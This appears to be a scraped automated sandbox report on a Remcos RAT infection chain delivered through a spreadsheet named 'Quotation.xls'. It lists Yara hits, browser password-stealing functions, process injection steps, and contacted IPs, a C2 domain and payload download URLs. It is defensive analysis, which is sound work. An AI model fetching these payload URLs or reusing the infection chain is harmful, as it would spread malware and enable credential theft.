Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 11_2_000000013FDDDF20 GetSystemTimeAsFileTime, 11_2_000000013FDDDF20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_0041B60D GetUserNameW, 25_2_0041B60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 25_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 25_2_00449190
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Remcos RAT
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR
Contains functionality to steal Chrome passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data 25_2_0040BA12
Contains functionality to steal Firefox passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\ 25_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: \key3.db 25_2_0040BB30

Remote Access Functionality
barindex
Yara detected Remcos RAT
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 25.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143fc3ae0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.1437c3ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.winiti.exe.143564228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.winiti.exe.143d64228.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000002.484511050.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.451807346.0000000143D64000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.484524464.0000000143564000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.843116352.00000000007B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: winiti.exe PID: 3608, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 3660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winiti.exe PID: 4076, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 2480, type: MEMORYSTR
Contains functionality to launch a control a shell (cmd.exe)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: cmd.exe 25_2_0040569A
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1482857 Sample: Quotation.xls Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 101 Multi AV Scanner detection for domain / URL 2->101 103 Found malware configuration 2->103 105 Malicious sample detected (through community Yara rule) 2->105 107 14 other signatures 2->107 10 EXCEL.EXE 57 39 2->10         started        process3 dnsIp4 69 91.92.245.100, 49164, 49166, 49170 THEZONEBG Bulgaria 10->69 71 tny.wtf 188.114.96.3, 49163, 49165, 49171 CLOUDFLARENETUS European Union 10->71 59 C:\Users\user\Desktop\Quotation.xls (copy), Composite 10->59 dropped 61 C:\Users\user\AppData\Local\...\gdfvr[1].hta, HTML 10->61 dropped 113 Microsoft Office drops suspicious files 10->113 15 mshta.exe 10 10->15         started        19 mshta.exe 10 10->19         started        file5 signatures6 process7 dnsIp8 79 tny.wtf 15->79 83 Suspicious command line found 15->83 85 PowerShell case anomaly found 15->85 21 cmd.exe 15->21         started        81 tny.wtf 19->81 24 cmd.exe 19->24         started        signatures9 process10 signatures11 109 Suspicious powershell command line found 21->109 111 PowerShell case anomaly found 21->111 26 powershell.exe 24 21->26         started        31 powershell.exe 24->31         started        process12 dnsIp13 73 107.173.143.46, 49167, 80 AS-COLOCROSSINGUS United States 26->73 63 C:\Users\user\AppData\Roaming\winiti.exe, PE32+ 26->63 dropped 65 C:\Users\user\AppData\Local\...\csrss[1].exe, PE32+ 26->65 dropped 67 C:\Users\user\AppData\...\ofvwqfjd.cmdline, Unicode 26->67 dropped 115 Installs new ROOT certificates 26->115 117 Powershell drops PE file 26->117 33 winiti.exe 26->33         started        36 csc.exe 2 26->36         started        39 winiti.exe 31->39         started        41 csc.exe 2 31->41         started        file14 signatures15 process16 file17 43 InstallUtil.exe 3 10 33->43         started        55 C:\Users\user\AppData\Local\...\ofvwqfjd.dll, PE32 36->55 dropped 46 cvtres.exe 36->46         started        95 Writes to foreign memory regions 39->95 97 Allocates memory in foreign processes 39->97 99 Injects a PE file into a foreign processes 39->99 48 AddInProcess32.exe 39->48         started        51 MSBuild.exe 39->51         started        57 C:\Users\user\AppData\Local\...\ge3s1wmx.dll, PE32 41->57 dropped 53 cvtres.exe 41->53         started        signatures18 process19 dnsIp20 75 unifrieghtmovers.com 23.95.60.82, 2558, 49168 AS-COLOCROSSINGUS United States 43->75 77 geoplugin.net 178.237.33.50, 49169, 80 ATOM86-ASATOM86NL Netherlands 43->77 87 Contains functionality to bypass UAC (CMSTPLUA) 48->87 89 Contains functionality to steal Chrome passwords or cookies 48->89 91 Contains functionality to register a low level keyboard hook 48->91 93 2 other signatures 48->93 signatures21
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.92.245.100
 unknown Bulgaria
34368 THEZONEBG false
107.173.143.46
 unknown United States
36352 AS-COLOCROSSINGUS false
188.114.96.3
 tny.wtf European Union
13335 CLOUDFLARENETUS false
178.237.33.50
 geoplugin.net Netherlands
8455 ATOM86-ASATOM86NL false
23.95.60.82
 unifrieghtmovers.com United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
geoplugin.net 178.237.33.50 true
tny.wtf 188.114.96.3 true
unifrieghtmovers.com 23.95.60.82 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://107.173.143.46/T2507F/csrss.exe false
  • 13%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
unifrieghtmovers.com true
  • Avira URL Cloud: safe
 unknown
http://91.92.245.100/xampp/ebcd/eb/gdfvr.hta false
  • 5%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://tny.wtf/jjJsPX true
  • 4%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://geoplugin.net/json.gp false
  • URL Reputation: safe
 unknown